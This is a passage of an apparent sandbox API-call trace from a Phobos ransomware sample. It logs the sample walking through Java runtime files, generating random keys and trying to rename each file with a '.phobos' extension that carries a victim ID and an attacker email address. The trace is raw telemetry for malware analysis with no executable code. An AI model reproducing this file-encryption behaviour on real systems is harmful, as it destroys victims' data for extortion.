Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.179] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.180] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=21056) returned 1 [0125.180] CloseHandle (hObject=0x594) returned 1 [0125.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0125.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.180] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.180] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=34368) returned 1 [0125.180] CloseHandle (hObject=0x594) returned 1 [0125.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0125.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.180] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.182] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=15936) returned 1 [0125.182] CloseHandle (hObject=0x594) returned 1 [0125.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0125.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.182] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.184] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=159808) returned 1 [0125.184] CloseHandle (hObject=0x594) returned 1 [0125.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0125.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.184] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.185] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=206912) returned 1 [0125.185] CloseHandle (hObject=0x594) returned 1 [0125.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0125.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.185] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.318] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=142400) returned 1 [0125.318] CloseHandle (hObject=0x594) returned 1 [0125.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0125.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.318] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.319] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=16448) returned 1 [0125.319] CloseHandle (hObject=0x594) returned 1 [0125.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0125.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.319] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.320] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=18677760) returned 1 [0125.320] CloseHandle (hObject=0x594) returned 1 [0125.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0125.320] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 0 [0125.320] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.320] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0 [0125.320] SetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x21) returned 0 [0125.320] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.321] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=8809536) returned 1 [0125.321] CloseHandle (hObject=0x594) returned 1 [0125.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0125.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0 [0125.321] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.322] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=16448) returned 1 [0125.322] CloseHandle (hObject=0x594) returned 1 [0125.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0125.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.322] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.322] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=204864) returned 1 [0125.322] CloseHandle (hObject=0x594) returned 1 [0125.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0125.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.322] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.323] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=571968) returned 1 [0125.323] CloseHandle (hObject=0x594) returned 1 [0125.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0125.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.323] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.324] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=70208) returned 1 [0125.324] CloseHandle (hObject=0x594) returned 1 [0125.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0125.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.324] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.325] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=135744) returned 1 [0125.325] CloseHandle (hObject=0x594) returned 1 [0125.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0125.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.325] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.325] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=31808) returned 1 [0125.325] CloseHandle (hObject=0x594) returned 1 [0125.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0125.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.325] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.326] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=255040) returned 1 [0125.326] CloseHandle (hObject=0x594) returned 1 [0125.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0125.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.326] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.326] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: 